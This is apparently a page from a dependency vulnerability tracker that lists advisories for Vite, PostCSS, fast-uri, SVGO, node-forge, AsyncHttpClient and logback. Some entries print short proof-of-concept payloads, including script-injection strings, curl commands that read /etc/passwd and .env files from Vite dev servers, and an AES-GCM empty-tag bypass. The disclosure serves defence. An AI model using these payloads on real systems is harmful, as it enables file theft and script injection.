Search
Vulnerabilities 551–600 of 785, affecting the active versions
| Score | ID | Status | Published | Affected versions | Description | Notes |
|---|---|---|---|---|---|---|
| 6.1CVSS 3.1 | CVE-2025-41117 | Resolved | 2026-02-12 | 5.6 ×95.5 ×20 | Stack traces in Grafana's Explore Traces view can be rendered as raw HTML, and thus inject malicious JavaScript in the browser. This would require malicious JavaScript to be entered into the stack trace field. Only datasources with the Jaeger HTTP API appear to be affected; Jaeger gRPC and Tempo do not appear affected whatsoever. | |
| 6.1CVSS 3.1 | CVE-2025-4123 | Resolved | 2025-05-22 | 5.4 ×14 | A cross-site scripting (XSS) vulnerability exists in Grafana caused by combining a client path traversal and open redirect. This allows attackers to redirect users to a website that hosts a frontend plugin that will execute arbitrary JavaScript. This vulnerability does not require editor permissions and if anonymous access is enabled, the XSS will work. If the Grafana Image Renderer plugin is installed, it is possible to exploit the open redirect to achieve a full read SSRF. The default Content-Security-Policy (CSP) in Grafana will block the XSS though the `connect-src` directive. | |
| 6.1CVSS 3.1 | CVE-2026-110306 | In triage | 2026-10-20 | 5.6 ×95.5 ×205.4 ×14 | fast-uri is a dependency-free RFC 3986 URI parser and serializer for Node.js. In versions before 2.4.8, from 3.0.0 through 3.1.8, and from 4.0.0 through 4.2.2, fast-uri percent-decodes the scheme component with the legacy global unescape() function before validating it, so an input whose decoded scheme is a dangerous token is emitted as a live scheme even though RFC 3986 does not allow percent-encoding in a scheme and no other parser accepts it. An application that screens dangerous schemes on the raw input and then stores or renders the normalized or resolved result can turn an inert string into an executable javascript, data, or vbscript URL, producing a stored or reflected cross-site scripting vector, and the equal() comparison treats an encoded and a plain scheme as the same, which can bypass equality-based allowlists. The issue is fixed in fast-uri 2.4.8, 3.1.9, and 4.2.3, and users should upgrade to one of these versions or later. As a workaround, reject input whose scheme part contains a percent sign, or check the parsed scheme against an allowlist after normalization and use that same parsed result rather than the raw string. | |
| 6.1CVSS 3.1 | CVE-2026-41305
GHSA-qx2v-qp2m-jg93 |
False positive | 2026-04-24 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Versions prior to 8.5.10 do not escape `</style>` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `<style>` tags, `</style>` in CSS values breaks out of the style context, enabling XSS. Version 8.5.10 fixes the issue. | |
| 6.1CVSS 3.1 | CVE-2026-84369
GHSA-4vpr-x523-8j87 |
Not affected | 2026-09-01 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 1.0.0 until versions 2.8.4, 3.3.5, and 4.1.0, the opt-in removeScripts plugin, named removeScriptElement in versions 2 and 3 and implemented in plugins/removeScripts.js, removes SVG and XHTML script elements but does not inspect executable HTML content inside SVG foreignObject elements. Event-handler attributes such as onload and onbeforetoggle, srcdoc documents, and executable URLs in the action, data, formaction, href, and src attributes can remain in attacker-controlled SVG input. When an application uses the plugin as its only protection and serves the optimized SVG in an active browser context, the payload can execute script in the viewer's origin, expose data, modify content, or perform actions as the victim. This issue is fixed in versions 2.8.4, 3.3.5, and 4.1.0. | |
| 6.1CVSS 3.1 | GHSA-4q2v-9p7v-3v22
CVE-2025-22227 |
Resolved | 2025-07-16 | 5.4 ×14 | In some specific scenarios with chained redirects, Reactor Netty HTTP client leaks credentials. In order for this to happen, the HTTP client must have been explicitly configured to follow redirects. | |
| 6.1CVSS 3.1 | GHSA-4vpr-x523-8j87
CVE-2026-84369 |
Not affected | 2026-09-08 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ## Summary SVGO's opt-in `removeScripts` plugin did not inspect executable HTML content inside SVG `<foreignObject>` elements. Applications that used this plugin as their only protection for untrusted SVG input could produce SVGs containing active HTML and expose users to cross-site scripting (XSS). SVGO is an optimizer rather than a comprehensive sanitization library, but `removeScripts` is maintained for consumers that already rely on it to remove common script execution paths. ## Details Although the plugin removed SVG and XHTML `<script>` elements, it left other HTML execution paths inside `<foreignObject>` unchanged. These included: - event-handler attributes such as `onload` and `onbeforetoggle`; - `srcdoc` documents, including on `<iframe>` elements; - executable URLs in HTML attributes such as `action`, `data`, `formaction`, `href`, and `src`. An attacker could place one of these payloads in an SVG. If an application optimized the untrusted SVG with `removeScripts` and then served the result in an active browser context, the payload could execute in the viewer's origin. ## Impact Successful exploitation could allow script execution in the context where the optimized SVG is rendered. Depending on the embedding and origin configuration, this could expose cookies or local storage, modify content, or perform actions as the victim. The plugin is opt-in, so consumers that do not enable `removeScripts` are not relying on the affected behavior. Typical local optimization of trusted SVG files is not affected. ## Patches Upgrade to one of the following releases for the maintained release line in use: | Release line | Patched version | Plugin | | --- | --- | --- | | v2 | 2.8.4 | `removeScriptElement` | | v3 | 3.3.5 | `removeScriptElement` | | v4 | 4.1.0 | `removeScripts` | The fix preserves visual HTML inside SVG `<foreignObject>` elements while removing event attributes, `srcdoc`, and executable URL values from active HTML URL attributes. SVGO v1 is no longer maintained. Users of v1 should upgrade to a supported release line. ## Workarounds For hostile input, use a dedicated SVG sanitization tool before passing the SVG to SVGO. As defense in depth, applications can reject or remove `<foreignObject>` content and avoid serving user-controlled SVGs in an active same-origin context. | |
| 6.1CVSS 3.1 | GHSA-qx2v-qp2m-jg93
CVE-2026-41305 |
False positive | 2026-04-24 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | # PostCSS: XSS via Unescaped `</style>` in CSS Stringify Output ## Summary PostCSS v8.5.5 (latest) does not escape `</style>` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `<style>` tags, `</style>` in CSS values breaks out of the style context, enabling XSS. ## Proof of Concept ```javascript const postcss = require('postcss'); // Parse user CSS and re-stringify for page embedding const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }'; const ast = postcss.parse(userCSS); const output = ast.toResult().css; const html = `<style>${output}</style>`; console.log(html); // <style>body { content: "</style><script>alert(1)</script><style>"; }</style> // // Browser: </style> closes the style tag, <script> executes ``` **Tested output** (Node.js v22, postcss v8.5.5): ``` Input: body { content: "</style><script>alert(1)</script><style>"; } Output: body { content: "</style><script>alert(1)</script><style>"; } Contains </style>: true ``` ## Impact Impact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website. ## Suggested Fix Escape `</style` in all stringified output values: ```javascript output = output.replace(/<\/(style)/gi, '<\\/$1'); ``` ## Credits Discovered and reported by [Sunil Kumar](https://tharvid.in) ([@TharVid](https://github.com/TharVid)) | |
| 6.1CVSS 3.1 | GHSA-w74x-v6f9-j3xg | Resolved | 2026-10-23 | 5.6 ×95.5 ×205.4 ×14 | ### Impact `fast-uri` percent-decodes the scheme component with the legacy global `unescape()` before validating it, so an input whose decoded scheme is a valid but dangerous token is emitted as a live scheme. RFC 3986 section 3.1 does not allow percent-encoding in a scheme, so no RFC or WHATWG parser treats such input as having that scheme, but `fast-uri` does. For example, `normalize('%6Aavascript:alert(1)')` returns `javascript:alert(1)`, `resolve('https://a.example/', '%6Aavascript:alert(1)')` returns `javascript:alert(1)`, and `parse('%6Aavascript:alert(1)').scheme` returns `javascript`. The `%uXXXX` form (`%u006Aavascript:`) produces the same result, and `equal('%68ttp://a/', 'http://a/')` returns `true`. An application that screens dangerous schemes on the raw input and then stores or renders `normalize(input)` or `resolve(base, input)` turns an inert string into an executable `javascript:`, `data:`, or `vbscript:` URL, a stored or reflected cross-site scripting vector in the consuming application. `equal()` also treats an encoded and a plain scheme as the same, which can bypass equality-based allowlists. ### Patches Upgrade to `fast-uri` `2.4.8`, `3.1.9`, or `4.2.3`. ### Workarounds Reject input whose scheme part (before the first `:`, and before any `/`, `?`, or `#`) contains `%`. Alternatively, check `parse(x).scheme` against an allowlist after normalization and use that same parsed result rather than the raw string. | |
| 6.0CVSS 4.0 | CVE-2025-32395
GHSA-356w-63v5-8wf4 |
False positive | 2025-04-10 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Vite is a frontend tooling framework for javascript. Prior to 6.2.6, 6.1.5, 6.0.15, 5.4.18, and 4.5.13, the contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun. HTTP 1.1 spec (RFC 9112) does not allow # in request-target. Although an attacker can send such a request. For those requests with an invalid request-line (it includes request-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2. On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url contains #. Vite assumed req.url won't contain # when checking server.fs.deny, allowing those kinds of requests to bypass the check. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) and running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun) are affected. This vulnerability is fixed in 6.2.6, 6.1.5, 6.0.15, 5.4.18, and 4.5.13. | |
| 6.0CVSS 4.0 | CVE-2025-46565
GHSA-859w-5945-r5v3 |
False positive | 2025-05-01 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Vite is a frontend tooling framework for javascript. Prior to versions 6.3.4, 6.2.7, 6.1.6, 5.4.19, and 4.5.14, the contents of files in the project root that are denied by a file matching pattern can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. Only files that are under project root and are denied by a file matching pattern can be bypassed. `server.fs.deny` can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass for files under `root` by using a combination of slash and dot (/.). This issue has been patched in versions 6.3.4, 6.2.7, 6.1.6, 5.4.19, and 4.5.14. | |
| 6.0CVSS 4.0 | CVE-2025-62522
GHSA-93m4-6634-74q7 |
False positive | 2025-10-20 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Vite is a frontend tooling framework for JavaScript. In versions from 2.9.18 to before 3.0.0, 3.2.9 to before 4.0.0, 4.5.3 to before 5.0.0, 5.2.6 to before 5.4.21, 6.0.0 to before 6.4.1, 7.0.0 to before 7.0.8, and 7.1.0 to before 7.1.11, files denied by server.fs.deny were sent if the URL ended with \ when the dev server is running on Windows. Only apps explicitly exposing the Vite dev server to the network and running the dev server on Windows were affected. This issue has been patched in versions 5.4.21, 6.4.1, 7.0.8, and 7.1.11. | |
| 6.0CVSS 4.0 | CVE-2025-7962
GHSA-9342-92gg-6v29 |
Not affected | 2025-07-21 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | In Jakarta Mail versions prior to 2.0.2 it is possible to perform an SMTP Injection by utilizing the \r and \n UTF-8 characters to separate different messages. | |
| 6.0CVSS 4.0 | GHSA-356w-63v5-8wf4
CVE-2025-32395 |
False positive | 2025-04-11 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun. ### Impact Only apps with the following conditions are affected. - explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) - running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun) ### Details [HTTP 1.1 spec (RFC 9112) does not allow `#` in `request-target`](https://datatracker.ietf.org/doc/html/rfc9112#section-3.2). Although an attacker can send such a request. For those requests with an invalid `request-line` (it includes `request-target`), the spec [recommends to reject them with 400 or 301](https://datatracker.ietf.org/doc/html/rfc9112#section-3.2-4). The same can be said for HTTP 2 ([ref1](https://datatracker.ietf.org/doc/html/rfc9113#section-8.3.1-2.4.1), [ref2](https://datatracker.ietf.org/doc/html/rfc9113#section-8.3.1-3), [ref3](https://datatracker.ietf.org/doc/html/rfc9113#section-8.1.1-3)). On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of [`http.IncomingMessage.url`](https://nodejs.org/docs/latest-v22.x/api/http.html#messageurl) contains `#`. Vite assumed `req.url` won't contain `#` when checking `server.fs.deny`, allowing those kinds of requests to bypass the check. On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of `http.IncomingMessage.url` did not contain `#`. ### PoC ``` npm create vite@latest cd vite-project/ npm install npm run dev ``` send request to read `/etc/passwd` ``` curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173 ``` | |
| 6.0CVSS 4.0 | GHSA-859w-5945-r5v3
CVE-2025-46565 |
False positive | 2025-04-30 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary The contents of files in [the project `root`](https://vite.dev/config/shared-options.html#root) that are denied by a file matching pattern can be returned to the browser. ### Impact Only apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected. Only files that are under [project `root`](https://vite.dev/config/shared-options.html#root) and are denied by a file matching pattern can be bypassed. - Examples of file matching patterns: `.env`, `.env.*`, `*.{crt,pem}`, `**/.env` - Examples of other patterns: `**/.git/**`, `.git/**`, `.git/**/*` ### Details [`server.fs.deny`](https://vite.dev/config/server-options.html#server-fs-deny) can contain patterns matching against files (by default it includes `.env`, `.env.*`, `*.{crt,pem}` as such patterns). These patterns were able to bypass for files under `root` by using a combination of slash and dot (`/.`). ### PoC ``` npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env/. http://localhost:5173 ```   | |
| 6.0CVSS 4.0 | GHSA-9342-92gg-6v29
CVE-2025-7962 |
Not affected | 2025-07-21 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | In Jakarta Mail 2.2 it is possible to preform a SMTP Injection by utilizing the \r and \n UTF-8 characters to separate different messages. | |
| 6.0CVSS 4.0 | GHSA-93m4-6634-74q7
CVE-2025-62522 |
False positive | 2025-10-20 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary Files denied by [`server.fs.deny`](https://vitejs.dev/config/server-options.html#server-fs-deny) were sent if the URL ended with `\` when the dev server is running on Windows. ### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using --host or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) - running the dev server on Windows ### Details `server.fs.deny` can contain patterns matching against files (by default it includes `.env`, `.env.*`, `*.{crt,pem}` as such patterns). These patterns were able to bypass by using a back slash(`\`). The root cause is that `fs.readFile('/foo.png/')` loads `/foo.png`. ### PoC ```shell npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env\ http://localhost:5173 ``` <img width="1593" height="616" alt="image" src="https://github.com/user-attachments/assets/36212f4e-1d3c-4686-b16f-16b35ca9e175" /> | |
| 5.9CVSS 4.0 | CVE-2024-12798
GHSA-pr98-23f8-jwxv |
Resolved | 2024-12-19 | 5.4 ×14 | ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core upto including version 0.1 to 1.3.14 and 1.4.0 to 1.5.12 in Java applications allows attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution. Malicious logback configuration files can allow the attacker to execute arbitrary code using the JaninoEventEvaluator extension. A successful attack requires the user to have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privilege. | |
| 5.9CVSS 3.1 | CVE-2025-30359
GHSA-4v9v-hfq4-rm2v |
False positive | 2025-06-03 | 5.6 ×95.5 ×205.4 ×14 | webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when they access a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code. Version 5.2.1 contains a patch for the issue. | |
| 5.9CVSS 3.1 | CVE-2025-49146
GHSA-hq9p-pm7w-8p54 |
Not affected | 2025-06-11 | 5.4 ×14 | pgjdbc is an open source postgresql JDBC Driver. From 42.7.4 and until 42.7.7, when the PostgreSQL JDBC driver is configured with channel binding set to required (default value is prefer), the driver would incorrectly allow connections to proceed with authentication methods that do not support channel binding (such as password, MD5, GSS, or SSPI authentication). This could allow a man-in-the-middle attacker to intercept connections that users believed were protected by channel binding requirements. This vulnerability is fixed in 42.7.7. | |
| 5.9CVSS 3.1 | CVE-2026-104844
GHSA-rj75-hqrm-r3gf |
In triage | 2026-10-02 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | PostCSS Selector Parser is a CSS selector parser that integrates with PostCSS but does not require it. Prior to 7.1.6, src/parser.js splitWord() can receive a flat selector as one word token carrying many class or ID indexes because period and hash characters are not tokenizer word delimiters. The uniqs() deduplication and per-index class and ID membership checks repeatedly scan the class and ID index arrays, while a separate Sass-interpolation filtering pass also performs repeated linear scanning. Together, these passes make parsing quadratic in the number of indexes and allow a crafted selector to occupy a synchronous parser thread. The maxNestingDepth guard does not mitigate the issue because the hostile selector can have zero nesting depth. Only consumers that synchronously parse untrusted selectors in an exposed request path are affected; ordinary build-time parsing of trusted sources is not affected. This issue is fixed in version 7.1.6. | |
| 5.9CVSS 3.1 | CVE-2026-107285
GHSA-3wp9-xfwm-rjjf |
In triage | 2026-10-07 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. Prior to 3.0.12 and 2.16.1, a proxied ws request is carried through CONNECT, but NettyRequestFactory.newNettyRequest and requestUri decide whether to attach proxy authentication and an absolute-form target only from whether the URI is secure. Because ws is not marked secure, the tunneled WebSocket upgrade sent to the origin includes the proxy's Proxy-Authorization value. Basic credentials are directly recoverable and Digest responses can be replayed or cracked offline. This issue is fixed in versions 3.0.12 and 2.16.1. | |
| 5.9CVSS 3.1 | CVE-2026-116590
GHSA-xqrx-qh46-34m7 |
In triage | 2026-10-26 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | snappy-java is a Java port of the snappy, a fast C++ compresser/decompresser developed by Google. Prior to 1.1.10.9, Snappy.arrayCopy(Object src, int offset, int byteLength, Object dest, int destOffset) passes caller-supplied ranges to native memcpy without validating either array, allowing negative or oversized byteLength and offset values to read or write outside array bounds and crash the JVM. SnappyOutputStream.rawWrite and SnappyInputStream.rawRead, including their typed-array write and read methods, pass caller-controlled ranges through this primitive, and typed-array byte-size calculations can overflow int. This issue is fixed in version 1.1.10.9. | |
| 5.9CVSS 3.1 | CVE-2026-12590
GHSA-v422-hmwv-36x6 |
Resolved | 2026-07-09 | 5.6 ×95.5 ×205.4 ×14 | Impact: In body-parser versions prior to 1.20.6 (1.x line) and 2.3.0 (2.x line), when the parser is configured with an invalid limit option value such as an unparseable string or NaN, bytes.parse returns null and the request body size check is silently skipped. Applications that rely on limit as their primary safeguard against oversized request bodies will accept arbitrarily large payloads, leading to excessive memory and CPU usage and denial of service. Patches: This issue is fixed in body-parser 1.20.6 and 2.3.0. After the fix, invalid limit values throw a clear error at parser construction time instead of silently disabling enforcement, while null and undefined continue to fall back to the default limit of 100kb. Workarounds: Validate the limit value before passing it to body-parser. For example, parse the value at startup and reject any configuration where the result is null or a non-finite number. | |
| 5.9CVSS 3.1 | CVE-2026-28208
GHSA-j273-m5qq-6825 |
Resolved | 2026-02-26 | 5.6 ×15.5 ×85.4 ×11 | Junrar is an open source java RAR archive library. Prior to version 7.5.8, a backslash path traversal vulnerability in `LocalFolderExtractor` allows an attacker to write arbitrary files with attacker-controlled content anywhere on the filesystem when a crafted RAR archive is extracted on Linux/Unix. This can often lead to remote code execution (e.g., overwriting shell profiles, source code, cron jobs, etc). Version 7.5.8 has a fix for the issue. | |
| 5.9CVSS 3.1 | CVE-2026-47429
GHSA-5xrq-8626-4rwp |
False positive | 2026-07-14 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Vitest is a testing framework powered by Vite. Prior to 3.2.5 and 4.1.0, the Vitest UI/API server on Windows used isFileServingAllowed incorrectly for /__vitest_attachment__, allowing \\?\\..\\ path traversal to read files outside the project; exposed API write and rerun features such as saveTestFile and rerun could also allow arbitrary script execution. This issue is fixed in versions 3.2.5 and 4.1.0. | |
| 5.9CVSS 3.1 | CVE-2026-84373
GHSA-82fw-gwwq-j7x9 |
Not affected | 2026-09-01 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Vitest is a testing framework powered by Vite. From 2.1.0 until 4.1.11 and 5.0.0-rc.2, the public mockerPlugin and standalone interceptorPlugin exports in packages/mocker/src/node/interceptorPlugin.ts register the vitest:interceptor:register handler on Vite's unauthenticated HMR WebSocket without validating redirect targets against the file-serving allowlist. The implementation processes event.redirect without enforcing server.fs.allow and server.fs.deny through isFileLoadingAllowed. A remote client that can reach an exposed development server can submit an opaque URL scheme preserving .. segments, causing join(server.config.root, redirectUrl.pathname) to resolve outside the project root. The plugin's load hook then returns readFile(mock.redirect, 'utf-8') as module source, disclosing local files readable by the dev-server process. Vitest browser mode uses a token-authenticated RPC and is not remotely unauthenticated by default, although the same boundary check was missing on that path. This issue is fixed in versions 4.1.11 and 5.0.0-rc.2. | |
| 5.9CVSS 3.1 | CVE-2026-85720
GHSA-xr57-gcx8-52hf |
Resolved | 2026-09-17 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.0.0 until 2.16.1 and 3.0.12, a request using an HTTP proxy to reach an HTTPS origin can expose preemptive origin credentials because NettyRequestFactory and NettyRequestSender.sendRequestWithNewChannel attach Authorization to the plaintext CONNECT request before the TLS tunnel exists. Basic or Digest credentials and per-connection NTLM, Kerberos, or SPNEGO tokens intended for the origin are therefore visible to the proxy and to observers on the client-to-proxy hop. The tunneled request still receives origin Authorization after the tunnel is established, while Proxy-Authorization remains on CONNECT for its intended proxy recipient. This issue is fixed in versions 2.16.1 and 3.0.12. | |
| 5.9CVSS 4.0 | GHSA-25qh-j22f-pwp8
CVE-2025-11226 |
Not affected | 2025-10-01 | 5.5 ×205.4 ×14 | QOS.CH logback-core versions up to 1.5.18 contain an ACE vulnerability in conditional configuration file processing in Java applications. This vulnerability allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting a malicious environment variable before program execution. A successful attack requires the Janino library and Spring Framework to be present on the user's class path. Additionally, the attacker must have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privileges. | |
| 5.9CVSS 3.1 | GHSA-3wp9-xfwm-rjjf
CVE-2026-107285 |
In triage | 2026-10-08 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | ### Impact When a ws:// request is routed through an HTTP proxy with proxy authentication configured, the client tunnels the connection with an HTTP CONNECT, the same as it does for https://. Once the tunnel is open, the WebSocket upgrade request that follows is sent through the tunnel directly to the origin server, not to the proxy. The proxy-auth gate and the companion request-target selection keyed only on whether the URI was secured, which is false for ws://, so the tunnelled upgrade request incorrectly carried the proxy's Proxy-Authorization header and an absolute-form request target meant for the proxy. Any origin server reached over a proxied ws:// connection, or anyone positioned on the origin side of the wire, could recover the proxy credentials: directly for Basic, or as a replayable and offline-crackable response for Digest. ### Affected versions * 3.x: up to and including 3.0.11 * 2.x: up to and including 2.16.0 ### Patches Fixed in 3.0.12 on the 3.x line and in 2.16.1 on the 2.x line. The preemptive Proxy-Authorization header and the absolute-form request target are no longer attached to a tunnelled ws:// upgrade; a ws:// request is now treated like wss://. ### Workarounds Do not use proxy authentication together with ws:// requests through an HTTP proxy, or use wss:// instead. ### Details The proxy-auth gate in NettyRequestFactory#newNettyRequest and the sibling branch in requestUri() did not exclude WebSocket URIs, even though the CONNECT-tunnelling check in NettyRequestSender already tunnels ws:// through CONNECT exactly like https://. Note that 3.0.12 is itself affected by a separate issue, GHSA-rqf5-2wxv-rjf4, where a Digest challenge the client cannot read downgrades to Basic and sends the password in cleartext. Upgrade to 3.0.13 to pick up both fixes. | |
| 5.9CVSS 3.1 | GHSA-4g9r-vxhx-9pgx
CVE-2024-25710 |
False positive | 2024-02-19 | 5.5 ×205.4 ×14 | Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. Users are recommended to upgrade to version 1.26.0 which fixes the issue. | |
| 5.9CVSS 3.1 | GHSA-525v-9gp9-w22h | In triage | 2026-10-30 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary The forge TLS client's check for a missing server certificate read the wrong property and never ran. A malicious TLS server, or an on-path attacker who removes the server's Certificate message, can make `connection.process()` throw a `TypeError`, which crashes applications that use the forge TLS client. Fixed in node-forge 1.4.1. ### Details After ServerHelloDone, `tls.handleServerHelloDone()` in `lib/tls.js` is meant to reject a server that sent no certificate with a fatal `insufficient_security` alert, after consulting the application's `verify` callback. The check tested `c.serverCertificate`, which is never set (the certificate is stored as `c.session.serverCertificate`), so it never ran. The client state machine allows ServerHelloDone directly after ServerHello, so the handshake continued to `tls.createClientKeyExchange()`, which reads `c.session.serverCertificate.publicKey` and throws a `TypeError` on the null certificate. The exception propagates out of `connection.process()` without calling the `verify` or `error` callbacks. There is no authentication bypass: without a server certificate the client cannot build its RSA key exchange, so the handshake cannot complete. The fix reads `c.session.serverCertificate` and always fails the handshake in that case, still calling `verify` so the application can customize the alert. Failing even when `verify` returns `true` is needed because the key exchange requires the certificate. #### Patches Fixed in node-forge 1.4.1. The TLS client fails the handshake with an `insufficient_security` alert when the server sends no certificate. #### Workarounds Catch exceptions thrown by `connection.process()` in the code that feeds it network data, and close the connection when one occurs. #### Credits Reported by @arpitjain099. ### Proof of concept Connect a forge TLS client (`forge.tls.createConnection({server: false, ...})`) to a server whose first flight contains ServerHello and ServerHelloDone but no Certificate message. For example, run a forge TLS server and remove the Certificate handshake message (type 11) from its first flight before passing it to the client's `process()`. On 1.4.0 the client's `process()` throws "TypeError: Cannot read properties of null (reading 'publicKey')", and the `verify` and `error` callbacks are not called. On 1.4.1 the client calls `verify` with `insufficient_security` and no certificates, calls `error` with "No server certificate provided. Not enough security.", sends a fatal alert and closes the connection. Regression tests are in tests/unit/tls.js ("missing server certificate"). ### Impact Applications that use the forge TLS client (`forge.tls.createConnection` with `server: false`) are affected. A malicious server the application connects to, or an on-path attacker who can modify the unauthenticated handshake, can make the client throw from `connection.process()`. Since `process()` is normally called from a socket data handler, the uncaught exception terminates a Node.js process. There is no confidentiality or integrity impact. Applications using Node.js's own TLS implementation are not affected. | |
| 5.9CVSS 3.1 | GHSA-5cwg-6vw7-rj6p | In triage | 2026-10-30 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary The AES-GCM mode in forge.cipher does not validate the tagLength option passed to start(). With a tagLength of 0 or a value that converts to 0 (such as null, false, '' or '0'), the authentication tag is empty, and decipher.finish() returns true for any ciphertext and additional data when the supplied tag is empty or missing. Fixed in node-forge 1.4.1. ### Details `modes.gcm.prototype.start()` in `lib/cipherModes.js` stored the `tagLength` option without validation, and `lib/cipher.js` documented it as accepting "0-128". After processing the data, `afterFinish()` truncates the 16-byte tag with `truncate(16 % (tagLength / 8))`. For a `tagLength` that converts to 0, this is `16 % 0 = NaN`, and truncating by `NaN` empties the tag. On decryption, the start-time check that the supplied `tag` has `tagLength / 8` bytes passes for an empty tag, and the final tag comparison compares two empty strings, so `decipher.finish()` returns `true` for any ciphertext and additional data. NIST SP 800-38D section 5.2.1.2 allows only tag lengths of 128, 120, 112, 104 and 96 bits, plus 64 and 32 bits for certain applications. The fix validates `tagLength` in `start()`, for both encryption and decryption. A missing, `null` or `undefined` `tagLength` uses the default of 128 bits. Any other value is converted with `Number()` and must be one of 128, 120, 112, 104, 96, 64 or 32; otherwise `start()` throws "Invalid tag length.". Numeric strings such as `'128'` are still accepted. With a validated `tagLength`, an empty tag no longer matches the expected tag length and is rejected. ### Patches Fixed in node-forge 1.4.1. `cipher.start()` now throws an error unless `tagLength` is one of the tag lengths allowed by NIST SP 800-38D (128, 120, 112, 104, 96, 64 or 32 bits); a `null` or `undefined` `tagLength` means the default of 128 bits. ### Workarounds Do not derive `tagLength` from received data. Pass a fixed `tagLength` (or omit it to use the default of 128 bits), and check that the received tag has the expected length before calling `start()`, for example `if(tag.length !== 16) { throw new Error('Invalid tag.'); }` before `decipher.start({iv: iv, tag: tag});`. ### Proof of concept Start an AES-GCM decipher with `tagLength: 0` and an empty tag, as an application does when it derives the tag length from a received empty tag, and feed it arbitrary bytes that were never encrypted under the key: ```js var decipher = forge.cipher.createDecipher('AES-GCM', key); decipher.start({iv: iv, tag: '', tagLength: 0}); decipher.update(forge.util.createBuffer('any attacker-chosen bytes')); decipher.finish(); // <= 1.4.0: true // 1.4.1: start() throws "Invalid tag length." ``` `tagLength` values `null`, `false` and `'0'` (with an empty tag), and `tagLength: 0` with no `tag` option, give the same result on <= 1.4.0. The fix adds regression tests in `tests/unit/aes.js`. ### Impact Applications that decrypt AES-GCM data with `forge.cipher.createDecipher()` (`'AES-GCM'`) and pass a zero-like `tagLength` are affected. Typical cases are a tag length derived from the received tag, or an unset configuration value: ```js var decipher = forge.cipher.createDecipher('AES-GCM', key); decipher.start({iv: iv, tag: receivedTag, tagLength: receivedTag.length * 8}); decipher.update(forge.util.createBuffer(receivedCiphertext)); if(decipher.finish()) { /* attacker-supplied data accepted */ } ``` An attacker who can send a ciphertext with an empty tag to such an application can make it accept attacker-chosen ciphertext as authentic. Because GCM encryption is a stream cipher, an attacker who knows (part of) a captured message's plaintext can also change that plaintext to chosen values. The default (no `tagLength` option, 128 bits) and any fixed valid `tagLength` are not affected. | |
| 5.9CVSS 3.1 | GHSA-82fw-gwwq-j7x9
CVE-2026-84373 |
